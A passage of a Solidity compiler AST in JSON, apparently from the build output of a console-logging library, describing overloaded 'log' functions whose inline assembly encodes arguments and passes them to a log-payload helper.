lot":false,"src":"236431:2:22","valueSize":1},{"declaration":41526,"isOffset":false,"isSlot":false,"src":"236496:2:22","valueSize":1}],"id":41550,"nodeType":"InlineAssembly","src":"235672:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41552,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"236534:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":41553,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"236540:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":41551,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"236518:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41554,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"236518:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41555,"nodeType":"ExpressionStatement","src":"236518:27:22"},{"AST":{"nativeSrc":"236564:214:22","nodeType":"YulBlock","src":"236564:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"236585:4:22","nodeType":"YulLiteral","src":"236585:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"236591:2:22","nodeType":"YulIdentifier","src":"236591:2:22"}],"functionName":{"name":"mstore","nativeSrc":"236578:6:22","nodeType":"YulIdentifier","src":"236578:6:22"},"nativeSrc":"236578:16:22","nodeType":"YulFunctionCall","src":"236578:16:22"},"nativeSrc":"236578:16:22","nodeType":"YulExpressionStatement","src":"236578:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"236614:4:22","nodeType":"YulLiteral","src":"236614:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"236620:2:22","nodeType":"YulIdentifier","src":"236620:2:22"}],"functionName":{"name":"mstore","nativeSrc":"236607:6:22","nodeType":"YulIdentifier","src":"236607:6:22"},"nativeSrc":"236607:16:22","nodeType":"YulFunctionCall","src":"236607:16:22"},"nativeSrc":"236607:16:22","nodeType":"YulExpressionStatement","src":"236607:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"236643:4:22","nodeType":"YulLiteral","src":"236643:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"236649:2:22","nodeType":"YulIdentifier","src":"236649:2:22"}],"functionName":{"name":"mstore","nativeSrc":"236636:6:22","nodeType":"YulIdentifier","src":"236636:6:22"},"nativeSrc":"236636:16:22","nodeType":"YulFunctionCall","src":"236636:16:22"},"nativeSrc":"236636:16:22","nodeType":"YulExpressionStatement","src":"236636:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"236672:4:22","nodeType":"YulLiteral","src":"236672:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"236678:2:22","nodeType":"YulIdentifier","src":"236678:2:22"}],"functionName":{"name":"mstore","nativeSrc":"236665:6:22","nodeType":"YulIdentifier","src":"236665:6:22"},"nativeSrc":"236665:16:22","nodeType":"YulFunctionCall","src":"236665:16:22"},"nativeSrc":"236665:16:22","nodeType":"YulExpressionStatement","src":"236665:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"236701:4:22","nodeType":"YulLiteral","src":"236701:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"236707:2:22","nodeType":"YulIdentifier","src":"236707:2:22"}],"functionName":{"name":"mstore","nativeSrc":"236694:6:22","nodeType":"YulIdentifier","src":"236694:6:22"},"nativeSrc":"236694:16:22","nodeType":"YulFunctionCall","src":"236694:16:22"},"nativeSrc":"236694:16:22","nodeType":"YulExpressionStatement","src":"236694:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"236730:4:22","nodeType":"YulLiteral","src":"236730:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"236736:2:22","nodeType":"YulIdentifier","src":"236736:2:22"}],"functionName":{"name":"mstore","nativeSrc":"236723:6:22","nodeType":"YulIdentifier","src":"236723:6:22"},"nativeSrc":"236723:16:22","nodeType":"YulFunctionCall","src":"236723:16:22"},"nativeSrc":"236723:16:22","nodeType":"YulExpressionStatement","src":"236723:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"236759:4:22","nodeType":"YulLiteral","src":"236759:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"236765:2:22","nodeType":"YulIdentifier","src":"236765:2:22"}],"functionName":{"name":"mstore","nativeSrc":"236752:6:22","nodeType":"YulIdentifier","src":"236752:6:22"},"nativeSrc":"236752:16:22","nodeType":"YulFunctionCall","src":"236752:16:22"},"nativeSrc":"236752:16:22","nodeType":"YulExpressionStatement","src":"236752:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41530,"isOffset":false,"isSlot":false,"src":"236591:2:22","valueSize":1},{"declaration":41533,"isOffset":false,"isSlot":false,"src":"236620:2:22","valueSize":1},{"declaration":41536,"isOffset":false,"isSlot":false,"src":"236649:2:22","valueSize":1},{"declaration":41539,"isOffset":false,"isSlot":false,"src":"236678:2:22","valueSize":1},{"declaration":41542,"isOffset":false,"isSlot":false,"src":"236707:2:22","valueSize":1},{"declaration":41545,"isOffset":false,"isSlot":false,"src":"236736:2:22","valueSize":1},{"declaration":41548,"isOffset":false,"isSlot":false,"src":"236765:2:22","valueSize":1}],"id":41556,"nodeType":"InlineAssembly","src":"236555:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"235459:3:22","parameters":{"id":41527,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41520,"mutability":"mutable","name":"p0","nameLocation":"235471:2:22","nodeType":"VariableDeclaration","scope":41558,"src":"235463:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41519,"name":"uint256","nodeType":"ElementaryTypeName","src":"235463:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41522,"mutability":"mutable","name":"p1","nameLocation":"235483:2:22","nodeType":"VariableDeclaration","scope":41558,"src":"235475:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41521,"name":"address","nodeType":"ElementaryTypeName","src":"235475:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41524,"mutability":"mutable","name":"p2","nameLocation":"235492:2:22","nodeType":"VariableDeclaration","scope":41558,"src":"235487:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41523,"name":"bool","nodeType":"ElementaryTypeName","src":"235487:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41526,"mutability":"mutable","name":"p3","nameLocation":"235504:2:22","nodeType":"VariableDeclaration","scope":41558,"src":"235496:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41525,"name":"bytes32","nodeType":"ElementaryTypeName","src":"235496:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"235462:45:22"},"returnParameters":{"id":41528,"nodeType":"ParameterList","parameters":[],"src":"235522:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41592,"nodeType":"FunctionDefinition","src":"236790:792:22","nodes":[],"body":{"id":41591,"nodeType":"Block","src":"236865:717:22","nodes":[],"statements":[{"assignments":[41570],"declarations":[{"constant":false,"id":41570,"mutability":"mutable","name":"m0","nameLocation":"236883:2:22","nodeType":"VariableDeclaration","scope":41591,"src":"236875:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41569,"name":"bytes32","nodeType":"ElementaryTypeName","src":"236875:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41571,"nodeType":"VariableDeclarationStatement","src":"236875:10:22"},{"assignments":[41573],"declarations":[{"constant":false,"id":41573,"mutability":"mutable","name":"m1","nameLocation":"236903:2:22","nodeType":"VariableDeclaration","scope":41591,"src":"236895:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41572,"name":"bytes32","nodeType":"ElementaryTypeName","src":"236895:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41574,"nodeType":"VariableDeclarationStatement","src":"236895:10:22"},{"assignments":[41576],"declarations":[{"constant":false,"id":41576,"mutability":"mutable","name":"m2","nameLocation":"236923:2:22","nodeType":"VariableDeclaration","scope":41591,"src":"236915:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41575,"name":"bytes32","nodeType":"ElementaryTypeName","src":"236915:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41577,"nodeType":"VariableDeclarationStatement","src":"236915:10:22"},{"assignments":[41579],"declarations":[{"constant":false,"id":41579,"mutability":"mutable","name":"m3","nameLocation":"236943:2:22","nodeType":"VariableDeclaration","scope":41591,"src":"236935:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41578,"name":"bytes32","nodeType":"ElementaryTypeName","src":"236935:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41580,"nodeType":"VariableDeclarationStatement","src":"236935:10:22"},{"assignments":[41582],"declarations":[{"constant":false,"id":41582,"mutability":"mutable","name":"m4","nameLocation":"236963:2:22","nodeType":"VariableDeclaration","scope":41591,"src":"236955:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41581,"name":"bytes32","nodeType":"ElementaryTypeName","src":"236955:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41583,"nodeType":"VariableDeclarationStatement","src":"236955:10:22"},{"AST":{"nativeSrc":"236984:381:22","nodeType":"YulBlock","src":"236984:381:22","statements":[{"nativeSrc":"236998:17:22","nodeType":"YulAssignment","src":"236998:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"237010:4:22","nodeType":"YulLiteral","src":"237010:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"237004:5:22","nodeType":"YulIdentifier","src":"237004:5:22"},"nativeSrc":"237004:11:22","nodeType":"YulFunctionCall","src":"237004:11:22"},"variableNames":[{"name":"m0","nativeSrc":"236998:2:22","nodeType":"YulIdentifier","src":"236998:2:22"}]},{"nativeSrc":"237028:17:22","nodeType":"YulAssignment","src":"237028:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"237040:4:22","nodeType":"YulLiteral","src":"237040:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"237034:5:22","nodeType":"YulIdentifier","src":"237034:5:22"},"nativeSrc":"237034:11:22","nodeType":"YulFunctionCall","src":"237034:11:22"},"variableNames":[{"name":"m1","nativeSrc":"237028:2:22","nodeType":"YulIdentifier","src":"237028:2:22"}]},{"nativeSrc":"237058:17:22","nodeType":"YulAssignment","src":"237058:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"237070:4:22","nodeType":"YulLiteral","src":"237070:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"237064:5:22","nodeType":"YulIdentifier","src":"237064:5:22"},"nativeSrc":"237064:11:22","nodeType":"YulFunctionCall","src":"237064:11:22"},"variableNames":[{"name":"m2","nativeSrc":"237058:2:22","nodeType":"YulIdentifier","src":"237058:2:22"}]},{"nativeSrc":"237088:17:22","nodeType":"YulAssignment","src":"237088:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"237100:4:22","nodeType":"YulLiteral","src":"237100:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"237094:5:22","nodeType":"YulIdentifier","src":"237094:5:22"},"nativeSrc":"237094:11:22","nodeType":"YulFunctionCall","src":"237094:11:22"},"variableNames":[{"name":"m3","nativeSrc":"237088:2:22","nodeType":"YulIdentifier","src":"237088:2:22"}]},{"nativeSrc":"237118:17:22","nodeType":"YulAssignment","src":"237118:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"237130:4:22","nodeType":"YulLiteral","src":"237130:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"237124:5:22","nodeType":"YulIdentifier","src":"237124:5:22"},"nativeSrc":"237124:11:22","nodeType":"YulFunctionCall","src":"237124:11:22"},"variableNames":[{"name":"m4","nativeSrc":"237118:2:22","nodeType":"YulIdentifier","src":"237118:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"237222:4:22","nodeType":"YulLiteral","src":"237222:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"237228:10:22","nodeType":"YulLiteral","src":"237228:10:22","type":"","value":"0x15c127b5"}],"functionName":{"name":"mstore","nativeSrc":"237215:6:22","nodeType":"YulIdentifier","src":"237215:6:22"},"nativeSrc":"237215:24:22","nodeType":"YulFunctionCall","src":"237215:24:22"},"nativeSrc":"237215:24:22","nodeType":"YulExpressionStatement","src":"237215:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"237259:4:22","nodeType":"YulLiteral","src":"237259:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"237265:2:22","nodeType":"YulIdentifier","src":"237265:2:22"}],"functionName":{"name":"mstore","nativeSrc":"237252:6:22","nodeType":"YulIdentifier","src":"237252:6:22"},"nativeSrc":"237252:16:22","nodeType":"YulFunctionCall","src":"237252:16:22"},"nativeSrc":"237252:16:22","nodeType":"YulExpressionStatement","src":"237252:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"237288:4:22","nodeType":"YulLiteral","src":"237288:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"237294:2:22","nodeType":"YulIdentifier","src":"237294:2:22"}],"functionName":{"name":"mstore","nativeSrc":"237281:6:22","nodeType":"YulIdentifier","src":"237281:6:22"},"nativeSrc":"237281:16:22","nodeType":"YulFunctionCall","src":"237281:16:22"},"nativeSrc":"237281:16:22","nodeType":"YulExpressionStatement","src":"237281:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"237317:4:22","nodeType":"YulLiteral","src":"237317:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"237323:2:22","nodeType":"YulIdentifier","src":"237323:2:22"}],"functionName":{"name":"mstore","nativeSrc":"237310:6:22","nodeType":"YulIdentifier","src":"237310:6:22"},"nativeSrc":"237310:16:22","nodeType":"YulFunctionCall","src":"237310:16:22"},"nativeSrc":"237310:16:22","nodeType":"YulExpressionStatement","src":"237310:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"237346:4:22","nodeType":"YulLiteral","src":"237346:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"237352:2:22","nodeType":"YulIdentifier","src":"237352:2:22"}],"functionName":{"name":"mstore","nativeSrc":"237339:6:22","nodeType":"YulIdentifier","src":"237339:6:22"},"nativeSrc":"237339:16:22","nodeType":"YulFunctionCall","src":"237339:16:22"},"nativeSrc":"237339:16:22","nodeType":"YulExpressionStatement","src":"237339:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41570,"isOffset":false,"isSlot":false,"src":"236998:2:22","valueSize":1},{"declaration":41573,"isOffset":false,"isSlot":false,"src":"237028:2:22","valueSize":1},{"declaration":41576,"isOffset":false,"isSlot":false,"src":"237058:2:22","valueSize":1},{"declaration":41579,"isOffset":false,"isSlot":false,"src":"237088:2:22","valueSize":1},{"declaration":41582,"isOffset":false,"isSlot":false,"src":"237118:2:22","valueSize":1},{"declaration":41560,"isOffset":false,"isSlot":false,"src":"237265:2:22","valueSize":1},{"declaration":41562,"isOffset":false,"isSlot":false,"src":"237294:2:22","valueSize":1},{"declaration":41564,"isOffset":false,"isSlot":false,"src":"237323:2:22","valueSize":1},{"declaration":41566,"isOffset":false,"isSlot":false,"src":"237352:2:22","valueSize":1}],"id":41584,"nodeType":"InlineAssembly","src":"236975:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41586,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"237390:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":41587,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"237396:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":41585,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"237374:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41588,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"237374:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41589,"nodeType":"ExpressionStatement","src":"237374:27:22"},{"AST":{"nativeSrc":"237420:156:22","nodeType":"YulBlock","src":"237420:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"237441:4:22","nodeType":"YulLiteral","src":"237441:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"237447:2:22","nodeType":"YulIdentifier","src":"237447:2:22"}],"functionName":{"name":"mstore","nativeSrc":"237434:6:22","nodeType":"YulIdentifier","src":"237434:6:22"},"nativeSrc":"237434:16:22","nodeType":"YulFunctionCall","src":"237434:16:22"},"nativeSrc":"237434:16:22","nodeType":"YulExpressionStatement","src":"237434:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"237470:4:22","nodeType":"YulLiteral","src":"237470:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"237476:2:22","nodeType":"YulIdentifier","src":"237476:2:22"}],"functionName":{"name":"mstore","nativeSrc":"237463:6:22","nodeType":"YulIdentifier","src":"237463:6:22"},"nativeSrc":"237463:16:22","nodeType":"YulFunctionCall","src":"237463:16:22"},"nativeSrc":"237463:16:22","nodeType":"YulExpressionStatement","src":"237463:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"237499:4:22","nodeType":"YulLiteral","src":"237499:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"237505:2:22","nodeType":"YulIdentifier","src":"237505:2:22"}],"functionName":{"name":"mstore","nativeSrc":"237492:6:22","nodeType":"YulIdentifier","src":"237492:6:22"},"nativeSrc":"237492:16:22","nodeType":"YulFunctionCall","src":"237492:16:22"},"nativeSrc":"237492:16:22","nodeType":"YulExpressionStatement","src":"237492:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"237528:4:22","nodeType":"YulLiteral","src":"237528:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"237534:2:22","nodeType":"YulIdentifier","src":"237534:2:22"}],"functionName":{"name":"mstore","nativeSrc":"237521:6:22","nodeType":"YulIdentifier","src":"237521:6:22"},"nativeSrc":"237521:16:22","nodeType":"YulFunctionCall","src":"237521:16:22"},"nativeSrc":"237521:16:22","nodeType":"YulExpressionStatement","src":"237521:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"237557:4:22","nodeType":"YulLiteral","src":"237557:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"237563:2:22","nodeType":"YulIdentifier","src":"237563:2:22"}],"functionName":{"name":"mstore","nativeSrc":"237550:6:22","nodeType":"YulIdentifier","src":"237550:6:22"},"nativeSrc":"237550:16:22","nodeType":"YulFunctionCall","src":"237550:16:22"},"nativeSrc":"237550:16:22","nodeType":"YulExpressionStatement","src":"237550:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41570,"isOffset":false,"isSlot":false,"src":"237447:2:22","valueSize":1},{"declaration":41573,"isOffset":false,"isSlot":false,"src":"237476:2:22","valueSize":1},{"declaration":41576,"isOffset":false,"isSlot":false,"src":"237505:2:22","valueSize":1},{"declaration":41579,"isOffset":false,"isSlot":false,"src":"237534:2:22","valueSize":1},{"declaration":41582,"isOffset":false,"isSlot":false,"src":"237563:2:22","valueSize":1}],"id":41590,"nodeType":"InlineAssembly","src":"237411:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"236799:3:22","parameters":{"id":41567,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41560,"mutability":"mutable","name":"p0","nameLocation":"236811:2:22","nodeType":"VariableDeclaration","scope":41592,"src":"236803:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41559,"name":"uint256","nodeType":"ElementaryTypeName","src":"236803:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41562,"mutability":"mutable","name":"p1","nameLocation":"236823:2:22","nodeType":"VariableDeclaration","scope":41592,"src":"236815:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41561,"name":"address","nodeType":"ElementaryTypeName","src":"236815:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41564,"mutability":"mutable","name":"p2","nameLocation":"236835:2:22","nodeType":"VariableDeclaration","scope":41592,"src":"236827:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41563,"name":"uint256","nodeType":"ElementaryTypeName","src":"236827:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41566,"mutability":"mutable","name":"p3","nameLocation":"236847:2:22","nodeType":"VariableDeclaration","scope":41592,"src":"236839:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41565,"name":"address","nodeType":"ElementaryTypeName","src":"236839:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"236802:48:22"},"returnParameters":{"id":41568,"nodeType":"ParameterList","parameters":[],"src":"236865:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41626,"nodeType":"FunctionDefinition","src":"237588:786:22","nodes":[],"body":{"id":41625,"nodeType":"Block","src":"237660:714:22","nodes":[],"statements":[{"assignments":[41604],"declarations":[{"constant":false,"id":41604,"mutability":"mutable","name":"m0","nameLocation":"237678:2:22","nodeType":"VariableDeclaration","scope":41625,"src":"237670:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41603,"name":"bytes32","nodeType":"ElementaryTypeName","src":"237670:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41605,"nodeType":"VariableDeclarationStatement","src":"237670:10:22"},{"assignments":[41607],"declarations":[{"constant":false,"id":41607,"mutability":"mutable","name":"m1","nameLocation":"237698:2:22","nodeType":"VariableDeclaration","scope":41625,"src":"237690:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41606,"name":"bytes32","nodeType":"ElementaryTypeName","src":"237690:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41608,"nodeType":"VariableDeclarationStatement","src":"237690:10:22"},{"assignments":[41610],"declarations":[{"constant":false,"id":41610,"mutability":"mutable","name":"m2","nameLocation":"237718:2:22","nodeType":"VariableDeclaration","scope":41625,"src":"237710:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41609,"name":"bytes32","nodeType":"ElementaryTypeName","src":"237710:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41611,"nodeType":"VariableDeclarationStatement","src":"237710:10:22"},{"assignments":[41613],"declarations":[{"constant":false,"id":41613,"mutability":"mutable","name":"m3","nameLocation":"237738:2:22","nodeType":"VariableDeclaration","scope":41625,"src":"237730:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41612,"name":"bytes32","nodeType":"ElementaryTypeName","src":"237730:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41614,"nodeType":"VariableDeclarationStatement","src":"237730:10:22"},{"assignments":[41616],"declarations":[{"constant":false,"id":41616,"mutability":"mutable","name":"m4","nameLocation":"237758:2:22","nodeType":"VariableDeclaration","scope":41625,"src":"237750:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41615,"name":"bytes32","nodeType":"ElementaryTypeName","src":"237750:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41617,"nodeType":"VariableDeclarationStatement","src":"237750:10:22"},{"AST":{"nativeSrc":"237779:378:22","nodeType":"YulBlock","src":"237779:378:22","statements":[{"nativeSrc":"237793:17:22","nodeType":"YulAssignment","src":"237793:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"237805:4:22","nodeType":"YulLiteral","src":"237805:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"237799:5:22","nodeType":"YulIdentifier","src":"237799:5:22"},"nativeSrc":"237799:11:22","nodeType":"YulFunctionCall","src":"237799:11:22"},"variableNames":[{"name":"m0","nativeSrc":"237793:2:22","nodeType":"YulIdentifier","src":"237793:2:22"}]},{"nativeSrc":"237823:17:22","nodeType":"YulAssignment","src":"237823:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"237835:4:22","nodeType":"YulLiteral","src":"237835:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"237829:5:22","nodeType":"YulIdentifier","src":"237829:5:22"},"nativeSrc":"237829:11:22","nodeType":"YulFunctionCall","src":"237829:11:22"},"variableNames":[{"name":"m1","nativeSrc":"237823:2:22","nodeType":"YulIdentifier","src":"237823:2:22"}]},{"nativeSrc":"237853:17:22","nodeType":"YulAssignment","src":"237853:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"237865:4:22","nodeType":"YulLiteral","src":"237865:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"237859:5:22","nodeType":"YulIdentifier","src":"237859:5:22"},"nativeSrc":"237859:11:22","nodeType":"YulFunctionCall","src":"237859:11:22"},"variableNames":[{"name":"m2","nativeSrc":"237853:2:22","nodeType":"YulIdentifier","src":"237853:2:22"}]},{"nativeSrc":"237883:17:22","nodeType":"YulAssignment","src":"237883:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"237895:4:22","nodeType":"YulLiteral","src":"237895:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"237889:5:22","nodeType":"YulIdentifier","src":"237889:5:22"},"nativeSrc":"237889:11:22","nodeType":"YulFunctionCall","src":"237889:11:22"},"variableNames":[{"name":"m3","nativeSrc":"237883:2:22","nodeType":"YulIdentifier","src":"237883:2:22"}]},{"nativeSrc":"237913:17:22","nodeType":"YulAssignment","src":"237913:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"237925:4:22","nodeType":"YulLiteral","src":"237925:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"237919:5:22","nodeType":"YulIdentifier","src":"237919:5:22"},"nativeSrc":"237919:11:22","nodeType":"YulFunctionCall","src":"237919:11:22"},"variableNames":[{"name":"m4","nativeSrc":"237913:2:22","nodeType":"YulIdentifier","src":"237913:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"238014:4:22","nodeType":"YulLiteral","src":"238014:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"238020:10:22","nodeType":"YulLiteral","src":"238020:10:22","type":"","value":"0x5f743a7c"}],"functionName":{"name":"mstore","nativeSrc":"238007:6:22","nodeType":"YulIdentifier","src":"238007:6:22"},"nativeSrc":"238007:24:22","nodeType":"YulFunctionCall","src":"238007:24:22"},"nativeSrc":"238007:24:22","nodeType":"YulExpressionStatement","src":"238007:24:22"},{"expression":{"arguments":[{"